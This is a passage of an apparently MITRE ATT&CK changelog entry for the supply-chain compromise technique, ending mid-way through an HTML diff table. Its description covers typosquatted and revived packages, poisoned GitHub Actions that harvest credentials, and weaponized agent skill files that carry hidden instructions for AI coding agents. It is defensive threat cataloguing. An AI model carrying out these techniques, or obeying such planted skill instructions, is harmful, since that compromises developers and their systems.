                            "source_name": "OWASP CICD-SEC-4",
                            "description": "OWASP. (n.d.). CICD-SEC-4: Poisoned Pipeline Execution (PPE). Retrieved May 22, 2025.",
                            "url": "https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution"
                        },
                        {
                            "source_name": "The Hacker News PyPi Revival Hijack 2024",
                            "description": "Ravie Lakshmanan. (2024, September 4). Researchers Find Over 22,000 Removed PyPI Packages at Risk of Revival Hijack. Retrieved May 22, 2025.",
                            "url": "https://thehackernews.com/2024/09/hackers-hijack-22000-removed-pypi.html"
                        },
                        {
                            "source_name": "Microsoft - Agent Skills Docs",
                            "description": "Sergey Menshykh. (2026, September 18). Agent Skills. Retrieved October 1, 2026.",
                            "url": "https://learn.microsoft.com/en-us/agent-framework/agents/skills"
                        },
                        {
                            "source_name": "Bitdefender NPM Repositories Compromised 2021",
                            "description": "Silviu Stahie. (2021, November 8). Popular NPM Repositories Compromised in Man-in-the-Middle Attack. Retrieved May 22, 2025.",
                            "url": "https://www.bitdefender.com/en-gb/blog/hotforsecurity/popular-npm-repositories-compromised-in-man-in-the-middle-attack"
                        },
                        {
                            "source_name": "Trendmicro NPM Compromise",
                            "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.",
                            "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets"
                        },
                        {
                            "source_name": "Checkmarx-oss-seo",
                            "description": "Yehuda Gelb. (2024, April 10). New Technique to Trick Developers Detected in an Open Source Supply Chain Attack. Retrieved June 18, 2024.",
                            "url": "https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Enis Aksu",
                        "Joe Gumke, U.S. Bank",
                        "Liran Ravich, CardinalOps",
                        "Surya Teja Masanam (@surya4n6)"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 18:23:05.952000+00:00\", \"old_value\": \"2026-10-06 16:05:56.514000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)(Citation: Bitdefender NPM Repositories Compromised 2021)(Citation: MANDVI Malicious npm and PyPI Packages Disguised) This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by the original owner.(Citation: The Hacker News PyPi Revival Hijack 2024) Adversaries may also employ \\\"typosquatting\\\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.(Citation: Ahmed Backdoors in Python and NPM Packages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(Citation: Checkmarx-oss-seo)\\n\\nAdditionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025) By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via [Proc Filesystem](https://attack.mitre.org/techniques/T1003/007)) or insert further malicious components into the build pipelines for a second-order supply chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.(Citation: Palo Alto Networks GitHub Actions Worm 2023)\\n\\nAdversaries may also target the configuration and instruction files consumed by integrated development environments and AI coding agents. Project files such as tasks.json may execute commands when a developer opens or builds a project, while agent skill files (SKILL.md) supply an agent with instructions and resources that it loads on demand and runs with the permissions of the agent process.(Citation: Microsoft - Agent Skills Docs)(Citation: Google Agent Files May 2026)(Citation: CrowdStrike Threat Hunting Report 2026)(Citation: Microsoft Contagious Interview March 2026) To encourage downloads, adversaries may publish these files under benign-appearing or typo-squatted names, upload unmodified copies of the genuine skills first so the listings accumulate installs before the content behind them is weaponized, or may place the malicious instructions in a secondary document that the reviewed entry point references.(Citation: Zenity Skill Supply Chain August 2026)(Citation: ESET Agent Skills March 2026) Because these artifacts are natural language or configuration rather than executable code, they may pass registry screening and signature-based scanning.(Citation: ESET Agent Skills March 2026)(Citation: TrendMicro - OpenClaw Skills Distribute ATMOS) \\n\\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. \", \"old_value\": \"Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)(Citation: Bitdefender NPM Repositories Compromised 2021)(Citation: MANDVI Malicious npm and PyPI Packages Disguised) This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries.(Citation: The Hacker News PyPi Revival Hijack 2024) Adversaries may also employ \\\"typosquatting\\\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.(Citation: Ahmed Backdoors in Python and NPM Packages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(Citation: Checkmarx-oss-seo)\\n\\nAdditionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025) By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via [Proc Filesystem](https://attack.mitre.org/techniques/T1003/007)) or insert further malicious components into the build pipelines for a second-order supply chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.(Citation: Palo Alto Networks GitHub Actions Worm 2023)\\n\\nAdversaries may also target the configuration and instruction files consumed by integrated development environments and AI coding agents. Project files such as tasks.json may execute commands when a developer opens or builds a project, while agent skill files (SKILL.md) supply an agent with instructions and resources that it loads on demand and runs with the permissions of the agent process.(Citation: Microsoft - Agent Skills Docs)(Citation: Google Agent Files May 2026)(Citation: CrowdStrike Threat Hunting Report 2026)(Citation: Microsoft Contagious Interview March 2026) To encourage downloads, adversaries may publish these files under benign-appearing or typo-squatted names, upload unmodified copies of the genuine skills first so the listings accumulate installs before the content behind them is weaponized, or may place the malicious instructions in a secondary document that the reviewed entry point references.(Citation: Zenity Skill Supply Chain August 2026)(Citation: ESET Agent Skills March 2026) Because these artifacts are natural language or configuration rather than executable code, they may pass registry screening and signature-based scanning.(Citation: ESET Agent Skills March 2026)(Citation: TrendMicro - OpenClaw Skills Distribute ATMOS) \\n\\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. \", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)(Citation: Bitdefender NPM Repositories Compromised 2021)(Citation: MANDVI Malicious npm and PyPI Packages Disguised) This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries.(Citation: The Hacker News PyPi Revival Hijack 2024) Adversaries may also employ \\\"typosquatting\\\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.(Citation: Ahmed Backdoors in Python and NPM Packages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(Citation: Checkmarx-oss-seo)\\n+Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)(Citation: Bitdefender NPM Repositories Compromised 2021)(Citation: MANDVI Malicious npm and PyPI Packages Disguised) This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by the original owner.(Citation: The Hacker News PyPi Revival Hijack 2024) Adversaries may also employ \\\"typosquatting\\\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.(Citation: Ahmed Backdoors in Python and NPM Packages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(Citation: Checkmarx-oss-seo)\\n \\n Additionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025) By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via [Proc Filesystem](https://attack.mitre.org/techniques/T1003/007)) or insert further malicious components into the build pipelines for a second-order supply chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.(Citation: Palo Alto Networks GitHub Actions Worm 2023)\\n \"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][3]\": \"Surya Teja Masanam (@surya4n6)\"}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to33__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to33__0\"><a href=\"#difflib_chg_to33__top\">t</a></td><td class=\"diff_header\" id=\"from33_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;manipulate&nbsp;software&nbsp;dependencies&nbsp;and&nbsp;develop</td><td class=\"diff_next\"><a href=\"#difflib_chg_to33__top\">t</a></td><td class=\"diff_header\" id=\"to33_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;manipulate&nbsp;software&nbsp;dependencies&nbsp;and&nbsp;develop</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ment&nbsp;tools&nbsp;prior&nbsp;to&nbsp;receipt&nbsp;by&nbsp;a&nbsp;final&nbsp;consumer&nbsp;for&nbsp;the&nbsp;purp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ment&nbsp;tools&nbsp;prior&nbsp;to&nbsp;receipt&nbsp;by&nbsp;a&nbsp;final&nbsp;consumer&nbsp;for&nbsp;the&nbsp;purp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ose&nbsp;of&nbsp;data&nbsp;or&nbsp;system&nbsp;compromise.&nbsp;Applications&nbsp;often&nbsp;depend&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ose&nbsp;of&nbsp;data&nbsp;or&nbsp;system&nbsp;compromise.&nbsp;Applications&nbsp;often&nbsp;depend&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;external&nbsp;software&nbsp;to&nbsp;function&nbsp;properly.&nbsp;Popular&nbsp;open&nbsp;sour</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;external&nbsp;software&nbsp;to&nbsp;function&nbsp;properly.&nbsp;Popular&nbsp;open&nbsp;sour</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce&nbsp;projects&nbsp;that&nbsp;are&nbsp;used&nbsp;as&nbsp;dependencies&nbsp;in&nbsp;many&nbsp;applicatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce&nbsp;projects&nbsp;that&nbsp;are&nbsp;used&nbsp;as&nbsp;dependencies&nbsp;in&nbsp;many&nbsp;applicatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ns,&nbsp;such&nbsp;as&nbsp;pip&nbsp;and&nbsp;NPM&nbsp;packages,&nbsp;may&nbsp;be&nbsp;targeted&nbsp;as&nbsp;a&nbsp;means</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ns,&nbsp;such&nbsp;as&nbsp;pip&nbsp;and&nbsp;NPM&nbsp;packages,&nbsp;may&nbsp;be&nbsp;targeted&nbsp;as&nbsp;a&nbsp;means</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;add&nbsp;malicious&nbsp;code&nbsp;to&nbsp;users&nbsp;of&nbsp;the&nbsp;dependency.(Citation:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;add&nbsp;malicious&nbsp;code&nbsp;to&nbsp;users&nbsp;of&nbsp;the&nbsp;dependency.(Citation:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Trendmicro&nbsp;NPM&nbsp;Compromise)(Citation:&nbsp;Bitdefender&nbsp;NPM&nbsp;Reposi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Trendmicro&nbsp;NPM&nbsp;Compromise)(Citation:&nbsp;Bitdefender&nbsp;NPM&nbsp;Reposi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tories&nbsp;Compromised&nbsp;2021)(Citation:&nbsp;MANDVI&nbsp;Malicious&nbsp;npm&nbsp;and&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tories&nbsp;Compromised&nbsp;2021)(Citation:&nbsp;MANDVI&nbsp;Malicious&nbsp;npm&nbsp;and&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">PyPI&nbsp;Packages&nbsp;Disguised)&nbsp;This&nbsp;may&nbsp;also&nbsp;include&nbsp;abandoned&nbsp;pac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">PyPI&nbsp;Packages&nbsp;Disguised)&nbsp;This&nbsp;may&nbsp;also&nbsp;include&nbsp;abandoned&nbsp;pac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kages,&nbsp;which&nbsp;in&nbsp;some&nbsp;cases&nbsp;could&nbsp;be&nbsp;re-registered&nbsp;by&nbsp;threat&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kages,&nbsp;which&nbsp;in&nbsp;some&nbsp;cases&nbsp;could&nbsp;be&nbsp;re-registered&nbsp;by&nbsp;threat&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">actors&nbsp;after&nbsp;being&nbsp;removed&nbsp;by&nbsp;<span class=\"diff_chg\">adversaries</span>.(Citation:&nbsp;The&nbsp;Hac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">actors&nbsp;after&nbsp;being&nbsp;removed&nbsp;by&nbsp;<span class=\"diff_chg\">the&nbsp;original&nbsp;owner</span>.(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ker&nbsp;News&nbsp;PyPi&nbsp;Revival&nbsp;Hijack&nbsp;2024)&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;empl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">The&nbsp;Hacker&nbsp;News&nbsp;PyPi&nbsp;Revival&nbsp;Hijack&nbsp;2024)&nbsp;Adversaries&nbsp;may&nbsp;al</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oy&nbsp;\"typosquatting\"&nbsp;or&nbsp;name-confusion&nbsp;by&nbsp;choosing&nbsp;names&nbsp;simil</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">so&nbsp;employ&nbsp;\"typosquatting\"&nbsp;or&nbsp;name-confusion&nbsp;by&nbsp;choosing&nbsp;name</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ar&nbsp;to&nbsp;existing&nbsp;popular&nbsp;libraries&nbsp;or&nbsp;packages&nbsp;in&nbsp;order&nbsp;to&nbsp;dec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;similar&nbsp;to&nbsp;existing&nbsp;popular&nbsp;libraries&nbsp;or&nbsp;packages&nbsp;in&nbsp;order</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eive&nbsp;a&nbsp;user.(Citation:&nbsp;Ahmed&nbsp;Backdoors&nbsp;in&nbsp;Python&nbsp;and&nbsp;NPM&nbsp;Pac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;deceive&nbsp;a&nbsp;user.(Citation:&nbsp;Ahmed&nbsp;Backdoors&nbsp;in&nbsp;Python&nbsp;and&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kages)(Citation:&nbsp;Meyer&nbsp;PyPI&nbsp;Supply&nbsp;Chain&nbsp;Attack&nbsp;Uncovered)(C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">NPM&nbsp;Packages)(Citation:&nbsp;Meyer&nbsp;PyPI&nbsp;Supply&nbsp;Chain&nbsp;Attack&nbsp;Uncov</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;Checkmarx-oss-seo)&nbsp;&nbsp;Additionally,&nbsp;CI/CD&nbsp;pipeline&nbsp;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ered)(Citation:&nbsp;Checkmarx-oss-seo)&nbsp;&nbsp;Additionally,&nbsp;CI/CD&nbsp;pipe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mponents,&nbsp;such&nbsp;as&nbsp;GitHub&nbsp;Actions,&nbsp;may&nbsp;be&nbsp;targeted&nbsp;in&nbsp;order&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">line&nbsp;components,&nbsp;such&nbsp;as&nbsp;GitHub&nbsp;Actions,&nbsp;may&nbsp;be&nbsp;targeted&nbsp;in&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;gain&nbsp;access&nbsp;to&nbsp;the&nbsp;building,&nbsp;testing,&nbsp;and&nbsp;deployment&nbsp;cycle</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">order&nbsp;to&nbsp;gain&nbsp;access&nbsp;to&nbsp;the&nbsp;building,&nbsp;testing,&nbsp;and&nbsp;deploymen</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;of&nbsp;an&nbsp;application.(Citation:&nbsp;Unit&nbsp;42&nbsp;Palo&nbsp;Alto&nbsp;GitHub&nbsp;Acti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;cycles&nbsp;of&nbsp;an&nbsp;application.(Citation:&nbsp;Unit&nbsp;42&nbsp;Palo&nbsp;Alto&nbsp;GitH</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ons&nbsp;Supply&nbsp;Chain&nbsp;Attack&nbsp;2025)&nbsp;By&nbsp;adding&nbsp;malicious&nbsp;code&nbsp;into&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ub&nbsp;Actions&nbsp;Supply&nbsp;Chain&nbsp;Attack&nbsp;2025)&nbsp;By&nbsp;adding&nbsp;malicious&nbsp;cod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;GitHub&nbsp;action,&nbsp;a&nbsp;threat&nbsp;actor&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;collect&nbsp;runti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;into&nbsp;a&nbsp;GitHub&nbsp;action,&nbsp;a&nbsp;threat&nbsp;actor&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;collec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">me&nbsp;credentials&nbsp;(e.g.,&nbsp;via&nbsp;[Proc&nbsp;Filesystem](https://attack.m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;runtime&nbsp;credentials&nbsp;(e.g.,&nbsp;via&nbsp;[Proc&nbsp;Filesystem](https://a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itre.org/techniques/T1003/007))&nbsp;or&nbsp;insert&nbsp;further&nbsp;malicious&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttack.mitre.org/techniques/T1003/007))&nbsp;or&nbsp;insert&nbsp;further&nbsp;mal</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">components&nbsp;into&nbsp;the&nbsp;build&nbsp;pipelines&nbsp;for&nbsp;a&nbsp;second-order&nbsp;suppl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icious&nbsp;components&nbsp;into&nbsp;the&nbsp;build&nbsp;pipelines&nbsp;for&nbsp;a&nbsp;second-orde</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;chain&nbsp;compromise.(Citation:&nbsp;OWASP&nbsp;CICD-SEC-4)&nbsp;As&nbsp;GitHub&nbsp;Ac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;supply&nbsp;chain&nbsp;compromise.(Citation:&nbsp;OWASP&nbsp;CICD-SEC-4)&nbsp;As&nbsp;Gi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tions&nbsp;are&nbsp;often&nbsp;dependent&nbsp;on&nbsp;other&nbsp;GitHub&nbsp;Actions,&nbsp;threat&nbsp;ac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tHub&nbsp;Actions&nbsp;are&nbsp;often&nbsp;dependent&nbsp;on&nbsp;other&nbsp;GitHub&nbsp;Actions,&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tors&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;infect&nbsp;a&nbsp;large&nbsp;number&nbsp;of&nbsp;repositories&nbsp;vi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">reat&nbsp;actors&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;infect&nbsp;a&nbsp;large&nbsp;number&nbsp;of&nbsp;reposito</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;the&nbsp;compromise&nbsp;of&nbsp;a&nbsp;single&nbsp;Action.(Citation:&nbsp;Palo&nbsp;Alto&nbsp;Net</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ries&nbsp;via&nbsp;the&nbsp;compromise&nbsp;of&nbsp;a&nbsp;single&nbsp;Action.(Citation:&nbsp;Palo&nbsp;A</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">works&nbsp;GitHub&nbsp;Actions&nbsp;Worm&nbsp;2023)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;target</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lto&nbsp;Networks&nbsp;GitHub&nbsp;Actions&nbsp;Worm&nbsp;2023)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;configuration&nbsp;and&nbsp;instruction&nbsp;files&nbsp;consumed&nbsp;by&nbsp;integra</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;target&nbsp;the&nbsp;configuration&nbsp;and&nbsp;instruction&nbsp;files&nbsp;consumed&nbsp;by&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ted&nbsp;development&nbsp;environments&nbsp;and&nbsp;AI&nbsp;coding&nbsp;agents.&nbsp;Project&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">integrated&nbsp;development&nbsp;environments&nbsp;and&nbsp;AI&nbsp;coding&nbsp;agents.&nbsp;Pr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iles&nbsp;such&nbsp;as&nbsp;tasks.json&nbsp;may&nbsp;execute&nbsp;commands&nbsp;when&nbsp;a&nbsp;develope</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oject&nbsp;files&nbsp;such&nbsp;as&nbsp;tasks.json&nbsp;may&nbsp;execute&nbsp;commands&nbsp;when&nbsp;a&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;opens&nbsp;or&nbsp;builds&nbsp;a&nbsp;project,&nbsp;while&nbsp;agent&nbsp;skill&nbsp;files&nbsp;(SKILL.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eveloper&nbsp;opens&nbsp;or&nbsp;builds&nbsp;a&nbsp;project,&nbsp;while&nbsp;agent&nbsp;skill&nbsp;files&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">md)&nbsp;supply&nbsp;an&nbsp;agent&nbsp;with&nbsp;instructions&nbsp;and&nbsp;resources&nbsp;that&nbsp;it&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(SKILL.md)&nbsp;supply&nbsp;an&nbsp;agent&nbsp;with&nbsp;instructions&nbsp;and&nbsp;resources&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">loads&nbsp;on&nbsp;demand&nbsp;and&nbsp;runs&nbsp;with&nbsp;the&nbsp;permissions&nbsp;of&nbsp;the&nbsp;agent&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hat&nbsp;it&nbsp;loads&nbsp;on&nbsp;demand&nbsp;and&nbsp;runs&nbsp;with&nbsp;the&nbsp;permissions&nbsp;of&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rocess.(Citation:&nbsp;Microsoft&nbsp;-&nbsp;Agent&nbsp;Skills&nbsp;Docs)(Citation:&nbsp;G</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">agent&nbsp;process.(Citation:&nbsp;Microsoft&nbsp;-&nbsp;Agent&nbsp;Skills&nbsp;Docs)(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oogle&nbsp;Agent&nbsp;Files&nbsp;May&nbsp;2026)(Citation:&nbsp;CrowdStrike&nbsp;Threat&nbsp;Hun</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Google&nbsp;Agent&nbsp;Files&nbsp;May&nbsp;2026)(Citation:&nbsp;CrowdStrike&nbsp;Thr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ting&nbsp;Report&nbsp;2026)(Citation:&nbsp;Microsoft&nbsp;Contagious&nbsp;Interview&nbsp;M</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 